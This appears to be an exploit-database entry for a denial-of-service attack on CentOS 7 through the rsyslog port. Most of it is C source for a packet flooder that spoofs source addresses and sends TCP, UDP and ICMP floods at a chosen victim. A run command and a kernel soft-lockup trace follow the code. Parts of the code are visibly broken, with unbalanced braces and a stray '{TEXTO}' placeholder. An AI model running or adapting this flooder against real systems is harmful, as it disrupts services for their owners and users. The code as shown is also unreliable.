发布 2017-02-12 漏洞条目

Linux Kernel 3.10.0 (CentOS 7) – Denial of Service

Exploit Source

#####

#Exploit Title: CentOS7 Kernel Crashing by rsyslog daemon vulnerability | DOS on CentOS7

#Exploit Author: Hosein Askari (FarazPajohan)

#Vendor HomePage: https://www.centos.org/

#Version : 7

#Tested on: Parrot OS

#Date: 12-2-2017

#Category: Operating System

#Vulnerable Daemon: RSYSLOG

#Author Mail :hosein.askari@aol.com

#Description:

#The CentOS7's kernel is disrupted by vulnerability on rsyslog daemon, in which the cpu usage will be 100% until the remote exploit launches on the victim's #server.

****************************

#Exploit Command :

# ~~~#exploit.out -T3 -h <victim_ip> -p [514,514] // You can run this exploit on both "514 TCP/UDP"

#Exploit Code :

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <netdb.h>

#include <sys/types.h>

#ifdef F_PASS

#include <sys/stat.h>

#endif

#include <netinet/in_systm.h>

#include <sys/socket.h>

#include <string.h>

#include <time.h>

#ifndef __USE_BSD

# define __USE_BSD

#endif

#ifndef __FAVOR_BSD

# define __FAVOR_BSD

#endif

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <netinet/udp.h>

#include <netinet/ip_icmp.h>

#include <arpa/inet.h>

#ifdef LINUX

# define FIX(x) htons(x)

#else

# define FIX(x) (x)

#endif

#define TCP_ACK 1

#define TCP_FIN 2

#define TCP_SYN 4

#define TCP_RST 8

#define UDP_CFF 16

#define ICMP_ECHO_G 32

#define TCP_NOF 64

#define TCP_URG 128

#define TH_NOF 0x0

#define TCP_ATTACK() (a_flags & TCP_ACK ||\

a_flags & TCP_FIN ||\

a_flags & TCP_SYN ||\

a_flags & TCP_RST ||\

a_flags & TCP_NOF ||\

a_flags & TCP_URG )

#define UDP_ATTACK() (a_flags & UDP_CFF)

#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)

#define CHOOSE_DST_PORT() dst_sp == 0 ?\

random () :\

htons(dst_sp + (random() % (dst_ep -dst_sp +1)));

#define CHOOSE_SRC_PORT() src_sp == 0 ?\

random () :\

htons(src_sp + (random() % (src_ep -src_sp +1)));

#define SEND_PACKET() if (sendto(rawsock,\

&packet,\

(sizeof packet),\

0,\

(struct sockaddr *)&target,\

sizeof target) < 0) {\

perror("sendto");\

exit(-1);\

}

#define BANNER_CKSUM 54018

u_long lookup(const char *host);

unsigned short in_cksum(unsigned short *addr, int len);

static void inject_iphdr(struct ip *ip, u_char p, u_char len);

char *class2ip(const char *class);

static void send_tcp(u_char th_flags);

static void send_udp(u_char garbage);

static void send_icmp(u_char garbage);

char *get_plain(const char *crypt_file, const char *xor_data_key);

static void usage(const char *argv0);

u_long dstaddr;

u_short dst_sp, dst_ep, src_sp, src_ep;

char *src_class, *dst_class;

int a_flags, rawsock;

struct sockaddr_in target;

const char *banner = "Written By C0NSTANTINE";

struct pseudo_hdr {

u_long saddr, daddr;

u_char mbz, ptcl;

u_short tcpl;

};

struct cksum {

struct pseudo_hdr pseudo;

struct tcphdr tcp;

};

struct {

int gv;

int kv;

void (*f)(u_char);

} a_list[] = {

{ TCP_ACK, TH_ACK, send_tcp },

{ TCP_FIN, TH_FIN, send_tcp },

{ TCP_SYN, TH_SYN, send_tcp },

{ TCP_RST, TH_RST, send_tcp },

{ TCP_NOF, TH_NOF, send_tcp },

{ TCP_URG, TH_URG, send_tcp },

{ UDP_CFF, 0, send_udp },

{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },

{ 0, 0, (void *)NULL },

};

int

main(int argc, char *argv[])

{

int n, i, on = 1;

int b_link;

#ifdef F_PASS

struct stat sb;

#endif

unsigned int until;

a_flags = dstaddr = i = 0;

dst_sp = dst_ep = src_sp = src_ep = 0;

until = b_link = -1;

src_class = dst_class = NULL;

while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {

char *p;

switch (n) {

case 'T':

switch (atoi(optarg)) {

case 0: a_flags |= TCP_ACK; break;

case 1: a_flags |= TCP_FIN; break;

case 2: a_flags |= TCP_RST; break;

case 3: a_flags |= TCP_SYN; break;

case 4: a_flags |= TCP_URG; break;

}

break;

case 'U':

a_flags |= UDP_CFF;

break;

case 'I':

a_flags |= ICMP_ECHO_G;

break;

case 'N':

a_flags |= TCP_NOF;

break;

case 's':

src_class = optarg;

break;

case 'h':

dstaddr = lookup(optarg);

break;

case 'd':

dst_class = optarg;

i = 1;

break;

case 'p':

if ( (p = (char *) strchr(optarg, ',')) == NULL)

usage(argv[0]);

dst_sp = atoi(optarg);

dst_ep = atoi(p +1);

break;

case 'q':

if ( (p = (char *) strchr(optarg, ',')) == NULL)

usage(argv[0]);

src_sp = atoi(optarg);

src_ep = atoi(p +1);

break;

case 'l':

b_link = atoi(optarg);

if (b_link <= 0 || b_link > 100)

usage(argv[0]);

break;

case 't':

until = time(0) +atoi(optarg);

break;

default:

usage(argv[0]);

break;

}

if ( (!dstaddr && !i) ||

(dstaddr && i) ||

(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||

(src_sp != 0 && src_sp > src_ep) ||

(dst_sp != 0 && dst_sp > dst_ep))

usage(argv[0]);

srandom(time(NULL) ^ getpid());

if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {

perror("socket");

exit(-1);

}

if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,

(char *)&on, sizeof(on)) < 0) {

perror("setsockopt");

exit(-1);

}

target.sin_family = AF_INET;

for (n = 0; ; ) {

if (b_link != -1 && random() % 100 +1 > b_link) {

if (random() % 200 +1 > 199)

usleep(1);

continue;

}

for (i = 0; a_list[i].f != NULL; ++i) {

if (a_list[i].gv & a_flags)

a_list[i].f(a_list[i].kv);

}

if (n++ == 100) {

if (until != -1 && time(0) >= until) break;

n = 0;

}

exit(0);

}

u_long

lookup(const char *host)

{

struct hostent *hp;

if ( (hp = gethostbyname(host)) == NULL) {

perror("gethostbyname");

exit(-1);

}

return *(u_long *)hp->h_addr;

}

#define RANDOM() (int) random() % 255 +1

char *

class2ip(const char *class)

{

static char ip[16];

int i, j;

for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i)

if (class[i] == '.')

++j;

switch (j) {

case 0:

sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());

break;

case 1:

sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());

break;

case 2:

sprintf(ip, "%s.%d", class, RANDOM());

break;

default: strncpy(ip, class, 16);

break;

}

return ip;

}

unsigned short

in_cksum(unsigned short *addr, int len)

{

int nleft = len;

int sum = 0;

unsigned short *w = addr;

unsigned short answer = 0;

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

if (nleft == 1) {

*(unsigned char *) (&answer) = *(unsigned char *)w;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return answer;

}

static void

inject_iphdr(struct ip *ip, u_char p, u_char len)

{

ip->ip_hl = 5;

ip->ip_v = 4;

ip->ip_p = p;

ip->ip_tos = 0x08; /* 0x08 */

ip->ip_id = random();

ip->ip_len = len;

ip->ip_off = 0;

ip->ip_ttl = 255;

ip->ip_dst.s_addr = dst_class != NULL ?

inet_addr(class2ip(dst_class)) :

dstaddr;

ip->ip_src.s_addr = src_class != NULL ?

inet_addr(class2ip(src_class)) :

random();

target.sin_addr.s_addr = ip->ip_dst.s_addr;

}

static void

send_tcp(u_char th_flags)

{

struct cksum cksum;

struct packet {

struct ip ip;

struct tcphdr tcp;

} packet;

memset(&packet, 0, sizeof packet);

inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));

packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);

cksum.pseudo.daddr = dstaddr;

cksum.pseudo.mbz = 0;

cksum.pseudo.ptcl = IPPROTO_TCP;

cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));

cksum.pseudo.saddr = packet.ip.ip_src.s_addr;

packet.tcp.th_flags = random();

packet.tcp.th_win = random();

packet.tcp.th_seq = random();

packet.tcp.th_ack = random();

packet.tcp.th_off = 5;

packet.tcp.th_urp = 0;

packet.tcp.th_sport = CHOOSE_SRC_PORT();

packet.tcp.th_dport = CHOOSE_DST_PORT();

cksum.tcp = packet.tcp;

packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));

SEND_PACKET();

}

static void

send_udp(u_char garbage)

{

struct packet {

struct ip ip;

struct udphdr udp;

} packet;

memset(&packet, 0, sizeof packet);

inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));

packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);

packet.udp.uh_sport = CHOOSE_SRC_PORT();

packet.udp.uh_dport = CHOOSE_DST_PORT();

packet.udp.uh_ulen = htons(sizeof packet.udp);

packet.udp.uh_sum = 0;

SEND_PACKET();

}

static void

send_icmp(u_char gargabe)

{

struct packet {

struct ip ip;

struct icmp icmp;

} packet;

memset(&packet, 0, sizeof packet);

inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));

packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);

packet.icmp.icmp_type = ICMP_ECHO;

packet.icmp.icmp_code = 0;

packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));

for(int pp=0;pp<=1000;pp++)

{SEND_PACKET();

pp++;

}

static void

usage(const char *argv0)

{

printf("%s \n", banner);

printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");

printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");

printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");

printf(" -T TCP attack \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, 4:URG\e[1;37m]\e[0m\n");

printf(" -h destination host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");

printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");

printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");

printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");

printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");

printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");

printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");

printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0);

exit(-1);

}

********************************

#Description :

#The Sample Output of "dmesg" is shown below :

[ 2613.161800] task: ffff88016f5cb980 ti: ffff88016f5e8000 task.ti: ffff88016f5e8000

[ 2613.161801] RIP: 0010:[<ffffffffa016963a>] [<ffffffffa016963a>] e1000_xmit_frame+0xaca/0x10b0 [e1000]

[ 2613.161808] RSP: 0018:ffff880172203530 EFLAGS: 00000286

[ 2613.161809] RAX: ffffc90008fc3818 RBX: ffffffff00000000 RCX: ffff88016d220000

[ 2613.161810] RDX: 0000000000000047 RSI: 00000000ffffffff RDI: ffff88016d220000

[ 2613.161810] RBP: ffff8801722035b0 R08: 0000000000000000 R09: 0000000002000000

[ 2613.161811] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8801722034a8

[ 2613.161812] R13: ffffffff8164655d R14: ffff8801722035b0 R15: 0000000000000000

[ 2613.161813] FS: 0000000000000000(0000) GS:ffff880172200000(0000) knlGS:0000000000000000

[ 2613.161813] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033

[ 2613.161814] CR2: 00007ff8367b1000 CR3: 000000016d143000 CR4: 00000000001407f0

[ 2613.161886] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000

[ 2613.161912] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400

[ 2613.161913] Stack:

[ 2613.161913] ffffffff81517cf7 ffff88016eab5098 000000468151a494 0000000800000000

[ 2613.161915] 000000006d738000 ffff880100000000 0000000100001000 ffff88014e09d100

[ 2613.161916] ffff8800358aeac0 ffff88016d220000 ffff88016eab5000 ffff88016d220000

[ 2613.161918] Call Trace:

[ 2613.161919] <IRQ>

[ 2613.161923] [<ffffffff81517cf7>] ? kfree_skbmem+0x37/0x90

[ 2613.161926] [<ffffffff8152c671>] dev_hard_start_xmit+0x171/0x3b0

[ 2613.161929] [<ffffffff8154cd74>] sch_direct_xmit+0x104/0x200

[ 2613.161931] [<ffffffff8152cae6>] dev_queue_xmit+0x236/0x570

[ 2613.161933] [<ffffffff8156ae1d>] ip_finish_output+0x53d/0x7d0

[ 2613.161934] [<ffffffff8156bdcf>] ip_output+0x6f/0xe0

[ 2613.161936] [<ffffffff8156a8e0>] ? ip_fragment+0x8b0/0x8b0

[ 2613.161937] [<ffffffff81569a41>] ip_local_out_sk+0x31/0x40

[ 2613.161938] [<ffffffff8156c816>] ip_send_skb+0x16/0x50

[ 2613.161940] [<ffffffff8156c883>] ip_push_pending_frames+0x33/0x40

[ 2613.161942] [<ffffffff8159a79e>] icmp_push_reply+0xee/0x120

[ 2613.161943] [<ffffffff8159ad18>] icmp_send+0x448/0x800

[ 2613.161945] [<ffffffff8156c816>] ? ip_send_skb+0x16/0x50

[ 2613.161946] [<ffffffff8159a79e>] ? icmp_push_reply+0xee/0x120

[ 2613.161949] [<ffffffff8163cb5b>] ? _raw_spin_unlock_bh+0x1b/0x40

[ 2613.161950] [<ffffffff8159aafc>] ? icmp_send+0x22c/0x800

[ 2613.161952] [<ffffffffa05cf421>] reject_tg+0x3c1/0x4f8 [ipt_REJECT]

[ 2613.161966] [<ffffffff81170002>] ? split_free_page+0x22/0x200

[ 2613.161971] [<ffffffffa00920e0>] ipt_do_table+0x2e0/0x701 [ip_tables]

[ 2613.161973] [<ffffffff81518e95>] ? skb_checksum+0x35/0x50

[ 2613.161975] [<ffffffff81518ef0>] ? skb_push+0x40/0x40

[ 2613.161976] [<ffffffff81517a70>] ? reqsk_fastopen_remove+0x140/0x140

[ 2613.161978] [<ffffffff81520061>] ? __skb_checksum_complete+0x21/0xd0

[ 2613.161981] [<ffffffffa03e2036>] iptable_filter_hook+0x36/0x80 [iptable_filter]

[ 2613.161984] [<ffffffff8155c750>] nf_iterate+0x70/0xb0

[ 2613.161985] [<ffffffff8155c838>] nf_hook_slow+0xa8/0x110

[ 2613.161987] [<ffffffff81565f92>] ip_local_deliver+0xb2/0xd0

[ 2613.161988] [<ffffffff81565ba0>] ? ip_rcv_finish+0x350/0x350

[ 2613.161989] [<ffffffff815658cd>] ip_rcv_finish+0x7d/0x350

[ 2613.161990] [<ffffffff81566266>] ip_rcv+0x2b6/0x410

[ 2613.161992] [<ffffffff81565850>] ? inet_del_offload+0x40/0x40

[ 2613.161993] [<ffffffff8152a882>] __netif_receive_skb_core+0x582/0x7d0

[ 2613.161995] [<ffffffff8152aae8>] __netif_receive_skb+0x18/0x60

[ 2613.161996] [<ffffffff8152ab70>] netif_receive_skb+0x40/0xc0

[ 2613.161997] [<ffffffff8152b6e0>] napi_gro_receive+0x80/0xb0

[ 2613.162001] [<ffffffffa016803d>] e1000_clean_rx_irq+0x2ad/0x580 [e1000]

[ 2613.162005] [<ffffffffa016aa75>] e1000_clean+0x265/0x8e0 [e1000]

[ 2613.162007] [<ffffffff8152afa2>] net_rx_action+0x152/0x240

[ 2613.162009] [<ffffffff81084b0f>] __do_softirq+0xef/0x280

[ 2613.162011] [<ffffffff8164721c>] call_softirq+0x1c/0x30

[ 2613.162012] <EOI>

[ 2613.162015] [<ffffffff81016fc5>] do_softirq+0x65/0xa0

[ 2613.162016] [<ffffffff81084404>] local_bh_enable+0x94/0xa0

[ 2613.162019] [<ffffffff81123f52>] rcu_nocb_kthread+0x232/0x370

[ 2613.162021] [<ffffffff810a6ae0>] ? wake_up_atomic_t+0x30/0x30

[ 2613.162022] [<ffffffff81123d20>] ? rcu_start_gp+0x40/0x40

[ 2613.162024] [<ffffffff810a5aef>] kthread+0xcf/0xe0

[ 2613.162026] [<ffffffff810a5a20>] ? kthread_create_on_node+0x140/0x140

[ 2613.162028] [<ffffffff81645858>] ret_from_fork+0x58/0x90

[ 2613.162029] [<ffffffff810a5a20>] ? kthread_create_on_node+0x140/0x140

[ 2613.162030] Code: 14 48 8b 45 c8 48 8b 80 00 03 00 00 f6 80 98 00 00 00 03 74 16 48 8b 4d c8 41 0f b7 47 2a 41 8b 57 18 48 03 81 90 0c 00 00 89 10 <48> 83 c4 58 31 c0 5b 41 5c 41 5d 41 5e 41 5f 5d c3 0f 1f 44 00

[ 2641.184338] BUG: soft lockup - CPU#0 stuck for 22s! [rcuos/0:138]

#############################

作者: FarazPajohan
日期: 2017-02-12
类别: dos
平台: linux

相关漏洞条目

strongSwan 5.9.13 – DoS

Xlight FTP 1.1 – Denial Of Service (DOS)

Windows TCP/IP – RCE Checker and Denial of Service

RouterOS 6.40.5 – 6.44 and 6.48.1 – 6.49.10 – Denial of Service